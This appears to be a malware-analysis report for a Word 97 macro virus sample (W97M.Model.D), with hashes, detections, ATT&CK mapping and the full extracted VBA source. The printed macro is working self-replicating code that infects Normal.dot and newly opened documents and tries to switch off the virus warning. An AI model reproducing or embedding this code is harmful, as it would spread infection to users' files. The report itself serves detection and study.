W97M.Model.D — Office (OLE) malware analysis

Static analysis result for SHA-256 e83b8625eaeef62d…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-07-25 04:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b6a21448b7ec313fd052445d2ed6b19a SHA-1: 67fcff395e08521176eec58daa1c8861d5d7bc61 SHA-256: e83b8625eaeef62dfd4473b84fa535d675a7691b5eca4ac537c40b001191bade
200 Risk Score

Malware Insights

W97M.Model.D · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine designed to copy its malicious code to the Normal.dot template and any newly opened documents. This behavior is characteristic of the W97M.Model.D family, which aims to infect other Office files. The embedded document body explicitly states 'I am infected with W97M.Model.D'.

Heuristics 4

  • ClamAV: Doc.Trojan.Model-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Model-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1440 bytes
SHA-256: d4535dfa45697263602be5a7e0e4abf59548fd8064d8c95605d2e75f9f98beea
Detection
ClamAV: Doc.Trojan.Model-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Code"
Sub AutoNew()
    If Not ActiveDocument = ThisDocument Then
        CopyVirCodeToDocument ActiveDocument    'Infetta il nuovo documento
    End If
End Sub
Sub AutoOpen()
    RemoveProtection
    If Not ActiveDocument = NormalTemplate Then 'Infetta Normal.dot
        CopyVirCodeToModel
    End If
    If Not ActiveDocument = ThisDocument Then   'Infetta il documento aperto
        CopyVirCodeToDocument ActiveDocument
    End If
End Sub
Sub CopyVirCodeToModel()
On Local Error Resume Next
    With ActiveDocument
        .UpdateStylesOnOpen = False
        .AttachedTemplate = "Normal.dot"
    End With
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
End Sub
Sub CopyVirCodeToDocument(Target As Document)
    On Local Error Resume Next
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=Target.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
End Sub
Sub RemoveProtection()
    'Disattiva il messaggio di avviso iniziale
    Options.VirusProtection = True
End Sub

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